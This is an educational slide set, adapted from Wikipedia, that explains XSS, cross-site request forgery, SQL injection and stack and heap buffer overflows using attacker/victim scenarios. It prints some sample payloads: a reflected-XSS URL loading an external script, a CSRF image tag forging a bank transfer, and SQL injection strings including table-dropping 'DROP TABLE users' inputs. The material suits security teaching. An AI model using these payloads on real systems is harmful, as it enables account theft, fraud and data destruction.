Exploits: XSS, SQLI, Buffer Overflow

(1)

Exploits: XSS, SQLI, Buffer Overflow

These vulnerabilities continue to result in many active exploits. XSS Cross Site Scripting, comparable to XSRF, Cross Site Request Forgery. These vulnerabilities are found in many web applications. SQLI Structured Query Language Injection exploits weaknesses in the web application controller to data model interface. Buffer Overflows are caused by providing more data to an input variable than the amount of space allocated, overwriting memory elsewhere in the application to modify the application.

(2)

Origin and Copyright

These notes are partly derived from Wikipedia entries, so as a de rived work it is licenced under the GNU Free Documentation Li cense. For further details see: http://en.wikipedia.org/wiki/Wikipedia:Copyrights http://en.wikipedia.org/wiki/Cross_site_scripting http://en.wikipedia.org/wiki/Cross_Site_Request_Forgery http://en.wikipedia.org/wiki/SQL_injection http://en.wikipedia.org/wiki/Buffer_overflow

(3)

Cross Site Scripting XSS

A Cross Site Scripting (XSS) exploit concerns the ability of a website to run scripts within the web browser, using the JavaScript language. Obviously the browser will be designed to sandbox the script, so this has restricted access to the computer running the browser. But the browser can only have lowlevel information to limit what the script can do, e.g. the script won't be allowed access to files on the host. So if the attack is at a higher conceptual level of ab straction e.g. to do with what the user of the webpage thinks about the origin of the information being presented, the lower level of logic at which the browser sandboxes website scripts will not be effective.

(4)

(5)

How it was done

http://www.securitylab.ru/news/extra/272756.php contained the following HTML source code which included some Javascript. (Extra line breaks added for readability, but in reality the URL is all on one line.) From now on the citizens of the USA can feel safe for the National Information Security is in young but good hands" <a href="http://www.bbc.co.uk/bbcone/listings/index.shtml? service_id=4223&DAY=today%22%3E%3Cscript %20src=http://www.securitylab.ru/test/sc.js%3E%3C/script%3E %3C!">reports</a> BBC.

(6)

(7)

How Pirate Bay boarded the MPAA

(8)

(9)

Type 0: local or DOMbased XSS

vulnerability

This occurs where an attacker writes HTML includ

ing scripts into a context that the web browser

treats as of local origin, allowing for unprivileged

access to local objects e.g. a file on the local sys

tem.

(10)

XSS type 0 example

1. Mallory sends a URL to Alice (via email or another

mechanism) of a maliciously constructed web page.

2. Alice clicks on the link.

3. The malicious web page's JavaScript opens a vul

nerable HTML page installed locally on Alice's com

puter.

4. The vulnerable HTML page is tricked into executing

JavaScript in the computer's local zone.

5. Mallory's malicious script now may run commands

with the privileges Alice holds on her own computer.

(11)

Type 1: nonpersistent or reflected

XSS vulnerability

This arises when an attacker (Mallory) succeeds in

getting a victim (Alice) to click on a supplied

URL which is then submitted to another (e.g.

Bob's) website. This can occur through a URL in

an email to Alice sent by Mallory, to a site owned

by Bob and accepting HTML input.

(12)

XSS type 1 example slide 1

1. Alice often visits a particular website, which is

hosted by Bob. Bob's website allows Alice to log

in with a username/password pair and store sensit

ive information, such as billing information.

2. Mallory observes that Bob's website contains a

reflected XSS vulnerability.

3. Mallory crafts a URL to exploit the vulnerability,

and sends Alice an email, making it look as if it

came from Bob (ie. the email is spoofed).

(13)

XSS type 1 example slide 2

4. Alice visits the URL provided by Mallory while

logged into Bob's website.

5. The malicious script embedded in the URL ex

ecutes in Alice's browser, as if it came directly

from Bob's server. The script steals sensitive in

formation (authentication credentials, billing info,

etc) and sends this to Mallory's web server

without Alice's knowledge.

(14)

Type 2: persistent XSS vulnerability

Here Mallory inserts the HTML including script

directly into Bob's website, which allows users to

include HTML, e.g. where social networking sites

enable users to include an HTML profile. Alice,

when looking at Mallory's profile or HTML mes

sage, will run the script in her web browser within

the domain context of Bob, so Alice's system will

treat Mallory's script as if it were from Bob.

(15)

XSS type 2 example slide 1

1. Bob hosts a web site which allows users to post

messages and other content to the site for later

viewing by other members.

2. Mallory notices that Bob's website is vulnerable

to a type 2 XSS attack.

3. Mallory posts a message, controversial in nature,

which may encourage many other users of the site

to view it.

(16)

XSS type 2 example slide 2

4. Upon merely viewing the posted message, site

users' session cookies or other credentials could

be taken and sent to Mallory's webserver without

their knowledge.

5. Later, Mallory logs in as other site users and

posts messages on their behalf....

(17)

XSRF Cross Site Request Forgery

Crosssite request forgery, also known as one click attack or session riding and abbreviated as CSRF or XSRF, is a kind of malicious exploit of websites. Although similar sounding in name to crosssite scripting (XSS), it is a dif ferent and almost opposite form of attack. Whereas crosssite scripting exploits the trust a user has in a website, a crosssite request forgery exploits the trust a Web site has in a user by forging a request from a trusted user. These attacks are often less popular (so there are fewer resources available), more difficult to defend against than XSS attacks, and, therefore, more dangerous.

(18)

XSRF attack example slide 1

The attack works by including a link or script in a page that ac cesses a site to which the user is known to have authenticated. For example, one user, Alice, might be browsing a chat forum where another user, Mallory, has posted a message with an image that links to Alice's bank. Suppose that, as the URL for the image tag, Mallory has crafted a URL that submits a withdrawal form on Alice's bank's web site. If Alice's bank keeps her authentication information in a cookie, and if the cookie hasn't expired, then Alice's browser's attempt to load the image will submit the withdrawal form with her cookie, thus authorizing a transaction without Alice's approval.

(19)

XSRF attack example slide 2

<IMG src="http://bigbank.com/transfer_money.cgi? ac=alice&pay=mallory&amount=100000" &description=completion_ac2157> Here BigBank trusts Alice's cookie because Alice is already logged in. It therefore assumes that the URL that comes from Alice's web browser containing Alice's cookie is authorised to transfer a large sum from Alice's to Mallory's account. Data is frequently sent from browsers to websites as part of the URL, and many websites treat the GET data entry request identically to the FORM data entry request.

(20)

XSRF Common Characteristics

●

Involve sites that rely on a user's identity

●

Exploit the site's trust in that identity

●

Trick the user's browser into sending HTTP requests

to a target site

●

Involve HTTP requests that have side effects

At risk are web applications that perform actions based

on input from trusted and authenticated users without

requiring the user to authorize the specific action. A

user that is authenticated by a cookie saved in his web

browser could unknowingly send an HTTP request to

a site that trusts him and thereby cause an unwanted

action.

(21)

SQL Injection

source http://imgs.xkcd.com/comics/exploits_of_a_mom.png

(22)

SQL Injection Attacks

SQL injection is a security vulnerability that occurs in

the database layer of an application. The vulnerability

is present when user input is either incorrectly filtered

for string literal escape characters embedded in SQL

statements or user input is not strongly typed and

thereby unexpectedly executed.

This is an instance of a more general class of vulnerab

ilities that can occur whenever one programming or

scripting language is embedded inside another.

(23)

Incorrectly filtered escape characters 1

This form of SQL injection occurs when user input is not filtered for escape characters and is then passed into a SQL statement. This results in the potential manipulation of the statements performed on the database by the end user of the application. The following line of code illustrates this vulnerability: statement := "SELECT * FROM users WHERE name = '" + userName + "';" If the "userName" variable is crafted in a specific way by a malicious user, the SQL statement may do more than the code author intended.

(24)

Incorrectly filtered escape characters 2

For example, setting the "userName" variable as

a' or 't'='t

renders this SQL statement by the parent language:

SELECT * FROM users WHERE name = 'a' or 't'='t';

If this code were to be used in an authentication pro

cedure then this example could be used to force the

selection of a valid username because the evaluation

of 't'='t' is always true.

(25)

Incorrectly filtered escape characters 3

Theoretically any valid SQL command may be injected via this method, including the execution of multiple statements. The following value of "userName" in the above statement would cause the deletion of the "users" table as well as the selection of all data from the "data" table: a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '% This input renders the final SQL statement as follows: SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '%';

(26)

Incorrect type handling 1

This form of SQL injection occurs when a user supplied field is not strongly typed or is not checked for type constraints. This could take place when a numeric field is to be used in a SQL statement, but the programmer makes no checks to val idate that the user supplied input is numeric. For example: statement := "SELECT * FROM data WHERE id = " + a_variable + ";" It is clear from this statement that the author intended a_variable to be a number correlating to the "id" field.

(27)

Incorrect type handling 2

However, if it is in fact a string then the end user may manipu late the statement as they choose, thereby bypassing the need for escape characters. For example, setting a_variable to 1;DROP TABLE users will delete the "users" table from the database as the rendered SQL would be rendered as follows: SELECT * FROM data WHERE id = 1;DROP TABLE users;

(28)

Buffer Overflow Exploits

A buffer overflow occurs when more data is input

into a program data storage area than the space al

located or planned for it. Everyone who has learned

how to program in 'C' will have encountered buffer

overflows as a common programming bug.

Crackers have learned how to exploit this kind of bug

in many situations where hostile data is input to an

insecure program which worked correctly in test

cases previously known to the developer.

(29)

Stack Buffer Overflow Exploitation 1

Programs are vulnerable to this exploit where: 1. The function return jump address on the program stack occurs in the memory segment soon after the exploitable buffer and nothing causing program failure if overwritten occurs between 2. The attacker can provide arbitrary input which overruns an ex ploitable buffer. 3. The attacker can calculate an alternate jump address to insert in place of the return jump address, so that the alternate jump address goes to program instructions which the attacker has inserted as part of the buffer overrun. (Use of a "landing pad" area of goto next program instructions prior to the inserted exploit code for the jump inserted by the attacker allows extra flexibility.

(30)

Stack Buffer Overflow Exploitation 2

4. The attacker can execute inserted exploit code by this means which can, with the privileges and context of the compromised program, cause actions to occur which furthers the attackers agenda, or which result in some other system security com promise. Obviously the potential system compromise will be greater when a setuid to root program, or a program running as root is exploited in this manner than if a less privileged program is exploited.

(31)

Heap Buffer Overflow Exploitation

A buffer overflow occurring in the heap data area is referred to as a heap overflow and is exploitable in a different manner to that of stackbased overflows. Memory on the heap is dynam ically allocated by the application at runtime and typically contains program data. Exploitation is performed by corrupting this data in specific ways to cause the application to overwrite internal structures such as linked list pointers. The canonical heap overflow tech nique overwrites dynamic memory allocation linkage (such as malloc meta data) and uses the resulting pointer exchange to overwrite a program function pointer.

(32)

Further Recommended Reading

● XSS, XSRF http://www.cert.org/advisories/CA200002.html CERT® Advisory CA200002 Malicious HTML Tags Embedded in Client Web Requests http://www.cgisecurity.com/articles/xssfaq.shtml Cross Site Scripting FAQ. Good summary for nontechnical users. ● SQL Injection http://www.unixwiz.net/techtips/sqlinjection.html SQL Injection Attacks By Example ● Buffer Overflows http://doc.bughunter.net/bufferoverflow/smashstack.html Smashing The Stack For Fun And Profit (Aleph One)

Exploits: XSS, SQLI, Buffer Overflow